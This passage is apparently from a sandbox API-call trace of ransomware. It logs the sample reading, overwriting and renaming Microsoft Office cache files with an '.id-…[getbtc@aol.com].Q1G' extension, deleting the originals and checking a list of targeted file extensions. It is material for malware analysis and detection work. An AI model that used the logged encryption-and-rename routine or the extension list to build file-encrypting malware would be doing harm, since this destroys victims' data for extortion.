returned 1 [0047.798] CloseHandle (hObject=0x1c8) returned 1 [0047.798] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0047.798] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.798] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.798] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.798] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.798] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.798] GetLastError () returned 0x0 [0047.798] ReadFile (in: hFile=0x1c8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0xccb88, lpOverlapped=0x0) returned 1 [0047.891] WriteFile (in: hFile=0x184, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0047.906] ReadFile (in: hFile=0x1c8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x0, lpOverlapped=0x0) returned 1 [0047.906] WriteFile (in: hFile=0x184, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0047.906] SetEndOfFile (hFile=0x184) returned 1 [0047.924] CloseHandle (hObject=0x184) returned 1 [0048.016] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.016] SetEndOfFile (hFile=0x1c8) returned 1 [0048.069] CloseHandle (hObject=0x1c8) returned 1 [0048.069] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.069] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0048.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.070] lstrlenW (lpString=".doc") returned 4 [0048.070] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0048.070] lstrlenW (lpString=".docx") returned 5 [0048.070] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0048.070] lstrlenW (lpString=".pdf") returned 4 [0048.070] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0048.070] lstrlenW (lpString=".xls") returned 4 [0048.070] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0048.070] lstrlenW (lpString=".xlsx") returned 5 [0048.070] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0048.070] lstrlenW (lpString=".ppt") returned 4 [0048.070] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0048.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.070] lstrlenW (lpString=".zip") returned 4 [0048.070] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0048.070] lstrlenW (lpString=".rar") returned 4 [0048.070] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0048.070] lstrlenW (lpString=".bz2") returned 4 [0048.070] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0048.070] lstrlenW (lpString=".7z") returned 3 [0048.070] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0048.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.070] lstrlenW (lpString=".dbf") returned 4 [0048.070] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0048.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.070] lstrlenW (lpString=".1cd") returned 4 [0048.070] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0048.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.070] lstrlenW (lpString=".jpg") returned 4 [0048.070] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0048.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.070] lstrlenW (lpString=".doc") returned 4 [0048.070] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0048.070] lstrlenW (lpString=".docx") returned 5 [0048.071] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0048.071] lstrlenW (lpString=".pdf") returned 4 [0048.071] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0048.071] lstrlenW (lpString=".xls") returned 4 [0048.071] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0048.071] lstrlenW (lpString=".xlsx") returned 5 [0048.071] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0048.071] lstrlenW (lpString=".ppt") returned 4 [0048.071] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0048.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.071] lstrlenW (lpString=".zip") returned 4 [0048.071] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0048.071] lstrlenW (lpString=".rar") returned 4 [0048.071] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0048.071] lstrlenW (lpString=".bz2") returned 4 [0048.071] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0048.071] lstrlenW (lpString=".7z") returned 3 [0048.071] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0048.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.071] lstrlenW (lpString=".dbf") returned 4 [0048.071] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0048.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.071] lstrlenW (lpString=".1cd") returned 4 [0048.071] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0048.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0048.071] lstrlenW (lpString=".jpg") returned 4 [0048.071] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0048.071] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0048.071] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0048.071] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0048.072] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=3702272) returned 1 [0048.072] CloseHandle (hObject=0x1c8) returned 1 [0048.072] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0048.072] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.072] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0048.072] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0048.072] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0048.072] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.073] ReadFile (in: hFile=0x1c8, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.155] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.155] ReadFile (in: hFile=0x1c8, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.162] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.162] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.162] ReadFile (in: hFile=0x1c8, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.239] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.239] WriteFile (in: hFile=0x1c8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0048.413] SetEndOfFile (hFile=0x1c8) returned 1 [0048.414] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f00068 [0048.500] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.500] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f00068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00068*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.502] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.502] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f00068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00068*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.506] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.506] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f00068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00068*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.508] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f00068 | out: hHeap=0x510000) returned 1 [0048.508] CloseHandle (hObject=0x1c8) returned 1 [0048.508] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.508] lstrlenW (lpString=".doc") returned 4 [0048.508] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.508] lstrlenW (lpString=".docx") returned 5 [0048.508] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.508] lstrlenW (lpString=".pdf") returned 4 [0048.508] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.508] lstrlenW (lpString=".xls") returned 4 [0048.508] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.508] lstrlenW (lpString=".xlsx") returned 5 [0048.508] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.508] lstrlenW (lpString=".ppt") returned 4 [0048.508] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.508] lstrlenW (lpString=".zip") returned 4 [0048.508] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.509] lstrlenW (lpString=".rar") returned 4 [0048.509] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.509] lstrlenW (lpString=".bz2") returned 4 [0048.509] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.509] lstrlenW (lpString=".7z") returned 3 [0048.509] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.509] lstrlenW (lpString=".dbf") returned 4 [0048.509] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.509] lstrlenW (lpString=".1cd") returned 4 [0048.509] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.509] lstrlenW (lpString=".jpg") returned 4 [0048.509] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.509] lstrlenW (lpString=".doc") returned 4 [0048.509] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.509] lstrlenW (lpString=".docx") returned 5 [0048.509] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.509] lstrlenW (lpString=".pdf") returned 4 [0048.509] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.509] lstrlenW (lpString=".xls") returned 4 [0048.509] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.509] lstrlenW (lpString=".xlsx") returned 5 [0048.509] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.509] lstrlenW (lpString=".ppt") returned 4 [0048.509] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.509] lstrlenW (lpString=".zip") returned 4 [0048.509] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.509] lstrlenW (lpString=".rar") returned 4 [0048.509] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.509] lstrlenW (lpString=".bz2") returned 4 [0048.510] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.510] lstrlenW (lpString=".7z") returned 3 [0048.510] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.510] lstrlenW (lpString=".dbf") returned 4 [0048.510] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.510] lstrlenW (lpString=".1cd") returned 4 [0048.510] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.510] lstrlenW (lpString=".jpg") returned 4 [0048.510] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.510] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0048.510] lstrlenW (lpString="Office32WW.msi") returned 14 [0048.510] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0048.510] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=1992192) returned 1 [0048.510] CloseHandle (hObject=0x1c8) returned 1 [0048.510] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0048.511] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.511] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0048.511] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0048.511] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0048.511] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.511] ReadFile (in: hFile=0x1c8, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.517] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.517] ReadFile (in: hFile=0x1c8, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.519] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.519] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.519] ReadFile (in: hFile=0x1c8, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.534] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.534] WriteFile (in: hFile=0x1c8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0048.823] SetEndOfFile (hFile=0x1c8) returned 1 [0048.823] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f10070 [0048.827] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.827] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.829] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.829] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.831] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.831] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.833] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f10070 | out: hHeap=0x510000) returned 1 [0048.833] CloseHandle (hObject=0x1c8) returned 1 [0048.833] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.833] lstrlenW (lpString=".doc") returned 4 [0048.833] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.833] lstrlenW (lpString=".docx") returned 5 [0048.833] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.833] lstrlenW (lpString=".pdf") returned 4 [0048.833] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.833] lstrlenW (lpString=".xls") returned 4 [0048.833] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.833] lstrlenW (lpString=".xlsx") returned 5 [0048.833] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.833] lstrlenW (lpString=".ppt") returned 4 [0048.833] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.833] 